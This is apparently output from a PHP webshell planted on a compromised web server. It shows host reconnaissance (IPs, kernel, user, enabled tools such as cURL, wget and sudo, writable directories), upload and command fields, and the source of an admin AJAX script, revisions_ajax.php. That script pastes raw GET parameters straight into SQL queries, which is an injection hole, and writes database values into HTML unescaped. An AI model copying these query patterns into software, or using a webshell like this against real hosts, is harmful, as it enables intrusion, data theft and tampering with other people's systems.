403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.68
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/tgnewdev/admin/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tgnewdev/admin/mod/revisions_ajax.php
<?php require('_mod_security.php'); ?>
<?php
	$sql = '';
	switch ($_GET['func']):
		case 'grid' :
			require_once('classes/lcs_db_grid.php');
			$dbg = new lcs_db_grid;
			$dbg->start_header_section();
			$dbg->start_header();
			$dbg->add_column(['label' => 'Date/Time', 'dbcol' => 'r.date_time', 'width' => '120px']);
			$dbg->add_column(['label' => 'User Name', 'dbcol' => 'su.full_name', 'width' => '120px']);
			$dbg->add_column(['label' => 'Previous Data', 'dbcol' => 'r.previous_json', 'sortable' => false, 'searchable' => false, 'width' => '780px']);
			//$dbg->add_column(['label' => 'Restore', 'sortable' => false, 'searchable' => false, 'width' => '65px', 'align' => 'center', 'update' => true]);
			$dbg->end_header();
			$dbg->end_header_section();
			$sql = "SELECT r.*, su.full_name FROM revisions r LEFT JOIN sys_users su ON (r.user_id = su.user_id) ".
					"WHERE ".$dbg->search_spec()." ".$_GET['parm1']." ".$_GET['parm2']." ".$_GET['parm3']." ".
					"ORDER BY ".$dbg->sort_spec();
			//echo ' === '.$sql.' === ';
			$xls_sql = $sql;
			$xls_sql_encoded = xls_sql_encrypt($xls_sql);
			$result = $db->query($sql) or die('Database Error!');
			$dbg->start_data_section();
			if ($result->rowCount() > 0) :
				while ($row = $result->fetch(PDO::FETCH_OBJ)) :
					$dbg->start_row();
					$dbg->add_cell('<a href="javascript:show_revision('.$row->id.')">'.$row->date_time.'</a>');
					$dbg->add_cell($row->full_name);
					$dbg->add_cell('<a href="javascript:show_revision('.$row->id.')">'.substr(strip_tags($row->revision_json), 0, 200).'</a>');
					//$dbg->add_cell('<a href="javascript:confirm_restore_revision(\'Are you sure?\', '.$row->id.');"><img src="img/reload_icon.png" style="border:none;" /></a>');
					$dbg->end_row();
				endwhile;
			else :
				$dbg->start_row();
				$dbg->add_cell('No records found');
				$dbg->end_row();
			endif;
			$dbg->end_data_section();
			echo json_encode(['row_count' => $result->rowCount(), 'html' => $dbg->get_html(), 'xls_sql' => $xls_sql_encoded, 'extra_data'=> '']);
			return;
			break;
		case 'load_revision' :
			$sql = "SELECT * FROM revisions WHERE id = ".nz(trim($_GET['id']), '0')." ";
			$result = $db->query($sql) or die(json_encode(['result' => 'Database Error!']));
			if ($result->rowCount() > 0) :
				$row = $result->fetch(PDO::FETCH_OBJ);
				$sql_cur = "SELECT * FROM " . sql_safe_object($row->table_name) . " WHERE " . sql_safe_object($row->id_field) . " = " . nz($row->id_value, '0');
				$result_cur = $db->query($sql_cur) or die(json_encode(['result' => 'Database Error!']));
				$row_cur = $result_cur->fetch(PDO::FETCH_ASSOC);
				$html = '<p>Data prior to revision made on: ' . $row->date_time . '</p>';
				$html .= '<table><tr><th>Field</th><th>Current value</th><th>Revision value</th></tr>';
				$ar_revisions = json_decode($row->revision_json, true);
				$revision_delta = false;
				foreach ($ar_revisions as $field => $value) :
					$highlight = '';
					if ($value !== $row_cur[$field]) :
						$highlight = ' class="highlight" ';
						$revision_delta = true;
					endif;
					$html .= "<tr {$highlight} >";
					$html .= '<td>' . $field . '</td>';
					$html .= '<td>' . $row_cur[$field] . '</td>';
					$html .= '<td>' . $value . '</td>';
					$html .= '<tr>';
				endforeach;
				$html .= '</table>';
				if ($revision_delta) :
					$html .= '<p><button type="button" style="width:150px;" onclick="confirm_restore_revision(\'Are you sure?\', ' . nz(trim($_GET['id']), '0') . ');">Restore this revision?</button></p>';
				else :
					$html .= '<p>No differences found. Nothing to restore.</p>';
				endif;
			endif;
			$msg = 'Success';
			echo json_encode(['result' => $msg, 'html' => $html]);
			return;
			break;
		case 'restore_revision' :
			$sql = "SELECT * FROM revisions WHERE id = ".nz(trim($_GET['id']), '0')." ";
			$result = $db->query($sql) or die(json_encode(['result' => 'Database Error!']));
			if ($result->rowCount() > 0) :
				try {
					$row = $result->fetch(PDO::FETCH_OBJ);
					$ar_revisions = json_decode($row->revision_json, true);
					$ar_parms = [];
					$ar_set = [];
					$sql = 'UPDATE ' . sql_safe_object($row->table_name) . ' SET ';
					foreach ($ar_revisions as $field => $value) :
						if ($field !== $row->id_field) :
							$ar_set[] = sql_safe_object($field) . " = :" . sql_safe_string($field);
							$ar_parms[':' . sql_safe_string($field)] = $value;
						endif;
					endforeach;
					$sql .= implode(', ', $ar_set);
					$sql .= " WHERE " . sql_safe_object($row->id_field) . " = " . nz($row->id_value, '0');
					save_db_revision($row->table_name, null, $row->id_value, $row->id_field);
					$stmt = $db->prepare($sql);
					$stmt->execute($ar_parms);
					$msg = 'Success';
				} catch(Exception $e) {
					db_err_rollback($e, false);
					$msg = 'Error';
				}
			endif;
			echo json_encode(['result' => $msg]);
			return;
			break;
	endswitch;

Youez - 2016 - github.com/yon3zu
LinuXploit